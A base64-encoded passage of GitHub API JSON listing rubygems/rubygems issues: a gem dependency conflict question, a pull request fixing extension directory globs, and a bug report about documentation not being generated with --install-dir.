J5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUwNC9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUwNCIsImlkIjoxMzU4MjQyOTUsIm51bWJlciI6MTUwNCwidGl0bGUiOiJbcXVlc3Rpb25dIERlcGVuZGVuY3kgd2l0aCBhIGdlbSIsInVzZXIiOnsibG9naW4iOiJDbGVtZW50UGFkb3ZhbmkiLCJpZCI6Njc2MDIzLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS82NzYwMjM/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0NsZW1lbnRQYWRvdmFuaSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL0NsZW1lbnRQYWRvdmFuaSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL0NsZW1lbnRQYWRvdmFuaS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9DbGVtZW50UGFkb3ZhbmkvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvQ2xlbWVudFBhZG92YW5pL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9DbGVtZW50UGFkb3Zhbmkvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9DbGVtZW50UGFkb3Zhbmkvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9DbGVtZW50UGFkb3Zhbmkvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvQ2xlbWVudFBhZG92YW5pL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvQ2xlbWVudFBhZG92YW5pL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9DbGVtZW50UGFkb3ZhbmkvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNzM3NDQ1NSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHRyaWFnZSIsIm5hbWUiOiJzdGF0dXM6IHRyaWFnZSIsImNvbG9yIjoiZmVmMmMwIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjQsImNyZWF0ZWRfYXQiOiIyMDE2LTAyLTIzVDE4OjM3OjEyWiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA3LTIxVDE3OjEyOjE4WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiIqKl9VUERBVEVEIElTU1VFIFRPIEFESEVSRSBUTyBJU1NVRSBURU1QTEFURV8qKlxuXG5JJ20gaGF2aW5nIGEgcHJvYmxlbSBvciB3b3VsZCBsaWtlIHRvIHN1Z2dlc3QgYSBmZWF0dXJlLlxuXG5NeSBjdXJyZW50IHByb2JsZW0gaXMgKipfc2VlIGJlbG93XyoqXG5cblRoaXMgaXNzdWUgaXMgcmVsYXRlZCB0bzpcbi0gWyBdIE5ldHdvcmsgcHJvYmxlbXNcbi0gWyBdIEluc3RhbGxpbmcgYSBsaWJyYXJ5XG4tIFsgXSBQdWJsaXNoaW5nIGEgbGlicmFyeVxuLSBbIF0gVGhlIGNvbW1hbmQgbGluZSBgZ2VtYFxuLSBbeF0gT3RoZXJcblxuSGVyZSBhcmUgbXkgY3VycmVudCBlbnZyaW9ubWVudCBkZXRhaWxzOlxuXG5gYGAgcnVieVxuJCBnZW0gZW52IHZlcnNpb25cbjIuNi4wXG5gYGBcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cbiMgSXNzdWVcblxuSGV5LFxuXG5J4oCZbSBoYXZpbmcgYW4gaXNzdWUgcnVubmluZyB0aGUgZ2VtIFtgc3lueGBdKGh0dHBzOi8vZ2l0aHViLmNvbS92ZW5tby9zeW54KS5cblxuV2hlbiBJIHJ1biBgZ2VtIHVwZGF0ZWAgaXQgdXBkYXRlZCBgY2xhbXBgIHRvIHZlcnNpb24gYDEuMC4wYCBhbmQgd2hlbiBJIHJ1biBgc3lueGAgSeKAmWxsIGdldCB0aGUgb2J2aW91cyBvdXRwdXQ6XG5cbmBgYCBiYXNoXG4vTGlicmFyeS9SdWJ5L1NpdGUvMi4wLjAvcnVieWdlbXMvc3BlY2lmaWNhdGlvbi5yYjoyMjg1OmluIGByYWlzZV9pZl9jb25mbGljdHPigJk6IFVuYWJsZSB0byBhY3RpdmF0ZSBzeW54LTAuMi4wLCBiZWNhdXNlIGNsYW1wLTEuMC4wIGNvbmZsaWN0cyB3aXRoIGNsYW1wICh+PiAwLjYpIChHZW06OkNvbmZsaWN0RXJyb3IpXG5gYGBcblxuSG93ZXZlciB3aGVuIEkgcnVuIGBnZW0gZGVwZW5kZW5jeSDigJRyZXZlcnNlLWRlcGVuZGVuY2llcyBjbGFtcGAgKHBvc3QtdXBkYXRlKSBJIGdldCB0aGlzOlxuXG5gYGAgYmFzaFxuR2VtIGNsYW1wLTAuNi41XG4gIFVzZWQgYnlcbiAgICBzeW54LTAuMi4wIChjbGFtcCAofj4gMC42KSlcblxuR2VtIGNsYW1wLTEuMC4wXG5gYGBcblxuU28gYmFzaWNhbGx5IHRvIHJ1biBgc3lueGAgSSBoYXZlIHRvIHVuaW5zdGFsbCB2ZXJzaW9uIDEuMC4wIGFmdGVyIHJ1bm5pbmcgYSBgZ2VtIHVwZGF0ZWAuXG5cbklzIHRoaXMgYW4gaXNzdWUgd2l0aCBteSB2ZXJzaW9uIG9mIFJ1YnlHZW1zICgyLjUuMik/XG5cbkhlcmXigJlzIG15IFJ1YnlHZW0gZW52aXJvbm1lbnQ6XG5cbmBgYCBydWJ5XG5SdWJ5R2VtcyBFbnZpcm9ubWVudDpcbiAgLSBSVUJZR0VNUyBWRVJTSU9OOiAyLjUuMlxuICAtIFJVQlkgVkVSU0lPTjogMi4wLjAgKDIwMTUtMDQtMTMgcGF0Y2hsZXZlbCA2NDUpIFt1bml2ZXJzYWwueDg2XzY0LWRhcndpbjE1XVxuICAtIElOU1RBTExBVElPTiBESVJFQ1RPUlk6IC9Vc2Vycy9jbGVtZW50cGFkb3ZhbmkvLmdlbVxuICAtIFVTRVIgSU5TVEFMTEFUSU9OIERJUkVDVE9SWTogL1VzZXJzL2NsZW1lbnRwYWRvdmFuaS8uZ2VtL3J1YnkvMi4wLjBcbiAgLSBSVUJZIEVYRUNVVEFCTEU6IC9TeXN0ZW0vTGlicmFyeS9GcmFtZXdvcmtzL1J1YnkuZnJhbWV3b3JrL1ZlcnNpb25zLzIuMC91c3IvYmluL3J1YnlcbiAgLSBFWEVDVVRBQkxFIERJUkVDVE9SWTogL1VzZXJzL2NsZW1lbnRwYWRvdmFuaS8uZ2VtL2JpblxuICAtIFNQRUMgQ0FDSEUgRElSRUNUT1JZOiAvVXNlcnMvY2xlbWVudHBhZG92YW5pLy5nZW0vc3BlY3NcbiAgLSBTWVNURU0gQ09ORklHVVJBVElPTiBESVJFQ1RPUlk6IC9MaWJyYXJ5L1J1YnkvU2l0ZVxuICAtIFJVQllHRU1TIFBMQVRGT1JNUzpcbiAgICAtIHJ1YnlcbiAgICAtIHVuaXZlcnNhbC1kYXJ3aW4tMTVcbiAgLSBHRU0gUEFUSFM6XG4gICAgIC0gL1VzZXJzL2NsZW1lbnRwYWRvdmFuaS8uZ2VtXG4gIC0gR0VNIENPTkZJR1VSQVRJT046XG4gICAgIC0gOnVwZGF0ZV9zb3VyY2VzID0+IHRydWVcbiAgICAgLSA6dmVyYm9zZSA9PiB0cnVlXG4gICAgIC0gOmJhY2t0cmFjZSA9PiB0cnVlXG4gICAgIC0gOmJ1bGtfdGhyZXNob2xkID0+IDEwMDBcbiAgICAgLSBcImdlbVwiID0+IFwiLS1uby1kb2N1bWVudFwiXG4gIC0gUkVNT1RFIFNPVVJDRVM6XG4gICAgIC0gaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvXG4gIC0gU0hFTEwgUEFUSDpcbiAgICAgLSAvVXNlcnMvY2xlbWVudHBhZG92YW5pLy5nZW0vYmluXG4gICAgIC0gL3Vzci9sb2NhbC9iaW5cbiAgICAgLSAvdXNyL2JpblxuICAgICAtIC9iaW5cbiAgICAgLSAvdXNyL3NiaW5cbiAgICAgLSAvc2JpblxuXG5gYGBcblxuVGhhbmtzIGZvciB5b3VyIGhlbHAhXG5cbl9vcmlnaW5hbCBpc3N1ZSBodHRwczovL2dpdGh1Yi5jb20vdmVubW8vc3lueC9pc3N1ZXMvMTAyX1xuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDgxIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0ODEvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0ODEvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQ4MS9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzE0ODEiLCJpZCI6MTMyNTE1NTI4LCJudW1iZXIiOjE0ODEsInRpdGxlIjoiRml4IGluY29ycmVjdCBkaXIgZ2xvYnMgd2hlbiBoYXZlX2V4dGVuc2lvbnM/IGlzIHRydWUiLCJ1c2VyIjp7ImxvZ2luIjoiZWlsZWVuY29kZXMiLCJpZCI6MTA4MDY3OCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTA4MDY3OD92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9laWxlZW5jb2RlcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9laWxlZW5jb2Rlcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2VpbGVlbmNvZGVzL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9laWxlZW5jb2Rlcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZWlsZWVuY29kZXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjp0cnVlfSwibGFiZWxzIjpbXSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjgsImNyZWF0ZWRfYXQiOiIyMDE2LTAyLTA5VDE5OjUwOjQxWiIsInVwZGF0ZWRfYXQiOiIyMDE2LTA2LTA4VDAwOjI4OjI5WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJwdWxsX3JlcXVlc3QiOnsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xNDgxIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNDgxIiwiZGlmZl91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNDgxLmRpZmYiLCJwYXRjaF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvcHVsbC8xNDgxLnBhdGNoIn0sImJvZHkiOiJCZWZvcmUgdGhpcyBjaGFuZ2UgYGxpYl9kaXJzX2dsb2JgIHdvdWxkIHJldHVybiB0aGlzIGZvciB0aGUgZ2xvYiBpZiBgaGF2ZV9leHRlbnNpb25zP2Agd2FzIHRydWU6XG5cbmBgYFxuXCIvcHJpdmF0ZS92YXIvZm9sZGVycy9meS9ybWw2X3k5eDNiMzkyanBtcHkxNjBnN3IwMDAwZ24vVC90ZXN0X3J1YnlnZW1zXzY0Njc5L2dlbWhvbWUvZ2Vtcy9hLTIvey9wcml2YXRlL3Zhci9mb2xkZXJzL2Z5L3JtbDZfeTl4M2IzOTJqcG1weTE2MGc3cjAwMDBnbi9UL3Rlc3RfcnVieWdlbXNfNjQ2NzkvZ2VtaG9tZS9leHRlbnNpb25zL3g4Ni1kYXJ3aW4tOC8yLjMuMC1zdGF0aWMvYS0yLGxpYn1cIlxuYGBgXG5cbkFzIHlvdSBjYW4gc2VlIHRoZSBleHRlbnNpb25zIGRpcmVjdG9yeSBlbmRzIHVwIGluc2lkZSB0aGUgY3VybHkgYnJhY2VzIHNvIHRoZSBnbG9iIHdpbGwgbmV2ZXIgYWN0dWFsbHkgZmluZCBhbnl0aGluZyBpbiB0aGUgZXh0ZW5zaW9ucyBkaXJlY3RvcnkuXG5cblRoaXMgY29tbWl0IGNoYW5nZXMgdGhlIGdsb2IgdG8gbG9vayBsaWtlIHRoaXM6XG5cbmBgYFxuey9wcml2YXRlL3Zhci9mb2xkZXJzL2Z5L3JtbDZfeTl4M2IzOTJqcG1weTE2MGc3cjAwMDBnbi9UL3Rlc3RfcnVieWdlbXNfNjQ5MDQvZ2VtaG9tZS9leHRlbnNpb25zL3g4Ni1kYXJ3aW4tOC8yLjMuMC1zdGF0aWMvYS0yLGxpYn1cIlxuYGBgXG5cbkl0IGxvb2tzIGxpa2Ugd2hlbiBleHRlbnNpb25zIGFyZSBidWlsdCB0aGUgc2hhcmVkIG9iamVjdCBpcyBjb3BpZWQgdG8gdGhlIGxpYiBkaXIgYXMgd2VsbCBhcyB0aGUgZXh0ZW5zaW9ucyBkaXIuIFdoZW4gd2UncmUgc2VhcmNoaW5nIGZvciBhIHNoYXJlZCBvYmplY3Qgd2hpY2ggb25lIGRvIHdlIHdhbnQ/IFRoZSBsaWIgZGlyIG9yIHRoZSBleHRlbnNpb24gZGlyPyBJZiB3ZSB3YW50IHRoZSBleHRlbnNpb25zIGRpciB0aGVuIHdlIG5lZWQgdGhpcyBwYXRjaCB0byBmaXguIElmIHdlIHdhbnQgdGhlIGxpYiBkaXIgdGhlbiB0aGVyZSdzIG5vIHBvaW50IGluIGFkZGluZyB0aGUgZXh0ZW5zaW9ucyBkaXIgdG8gdGhlIGxpYiBkaXIgZ2xvYi5cblxuY2MvIEBkcmJyYWluIFxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNDcwIiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0NzAvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE0NzAvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQ3MC9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTQ3MCIsImlkIjoxMzAzMTM0MzAsIm51bWJlciI6MTQ3MCwidGl0bGUiOiJEb2N1bWVudGF0aW9uIGlzIG5vdCBnZW5lcmF0ZWQgd2hlbiAtLWluc3RhbGwtZGlyIGlzIHVzZWQuIiwidXNlciI6eyJsb2dpbiI6InZveGlrIiwiaWQiOjE0NDA2LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNDQwNj92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS92b3hpayIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3ZveGlrL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy92b3hpay9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvdm94aWsvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIzMCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBidWclMjByZXBvcnQiLCJuYW1lIjoidHlwZTogYnVnIHJlcG9ydCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOnsibG9naW4iOiJrcmFpbmJvbHRncmVlbmUiLCJpZCI6MzM0ODA5LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMzQ4MDk/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2tyYWluYm9sdGdyZWVuZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImFzc2lnbmVlcyI6W3sibG9naW4iOiJrcmFpbmJvbHRncmVlbmUiLCJpZCI6MzM0ODA5LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMzQ4MDk/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2tyYWluYm9sdGdyZWVuZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2tyYWluYm9sdGdyZWVuZS9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMva3JhaW5ib2x0Z3JlZW5lL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9rcmFpbmJvbHRncmVlbmUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX1dLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjoxMCwiY3JlYXRlZF9hdCI6IjIwMTYtMDItMDFUMDk6NTM6MzlaIiwidXBkYXRlZF9hdCI6IjIwMTctMTItMjJUMTE6MzU6MjFaIiwiY2xvc2VkX2F0IjpudWxsLCJhdXRob3JfYXNzb2NpYXRpb24iOiJDT05UUklCVVRPUiIsImJvZHkiOiJgYGBcbiQgZ2VtIGluc3RhbGwgLVYgLS1pbnN0YWxsLWRpciAuL3Vzci9zaGFyZS92YWdyYW50L2dlbXMgLS1iaW5kaXIgLi91c3IvYmluIC0tZm9yY2UgLS1yZG9jIC0tcmkgLS1iYWNrdHJhY2Ugd2lsbF9wYWdpbmF0ZVxuSEVBRCBodHRwczovL2FwaS5ydWJ5Z2Vtcy5vcmcvYXBpL3YxL2RlcGVuZGVuY2llc1xuMjAwIE9LXG5HRVQgaHR0cHM6Ly9hcGkucnVieWdlbXMub3JnL2FwaS92MS9kZXBlbmRlbmNpZXM/Z2Vtcz13aWxsX3BhZ2luYXRlXG4yMDAgT0tcbkdldHRpbmcgU1JWIHJlY29yZCBmYWlsZWQ6IEROUyByZXN1bHQgaGFzIG5vIGluZm9ybWF0aW9uIGZvciBfcnVieWdlbXMuX3RjcC5hcGkucnVieWdlbXMub3JnXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9MSUNFTlNFXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9SRUFETUUubWRcbi9ob21lL3ZvbmRydWNoL3Vzci9zaGFyZS92YWdyYW50L2dlbXMvZ2Vtcy93aWxsX3BhZ2luYXRlLTMuMS4wL2xpYi93aWxsX3BhZ2luYXRlLnJiXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9saWIvd2lsbF9wYWdpbmF0ZS9hY3RpdmVfcmVjb3JkLnJiXG4vaG9tZS92b25kcnVjaC91c3Ivc2hhcmUvdmFncmFudC9nZW1zL2dlbXMvd2lsbF9wYWdpbmF0ZS0zLjEuMC9saWIvd2lsbF9wYWdpbmF0ZS9hcnJheS5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvbGliL3dpbGxfcGFnaW5hdGUvY29sbGVjdGlvbi5yYlxuL2hvbWUvdm9uZHJ1Y2gvdXNyL3NoYXJlL3ZhZ3JhbnQvZ2Vtcy9nZW1zL3dpbGxfcGFnaW5hdGUtMy4xLjAvbGliL3dpbGxfcGFnaW5hdGUvY29yZV9leH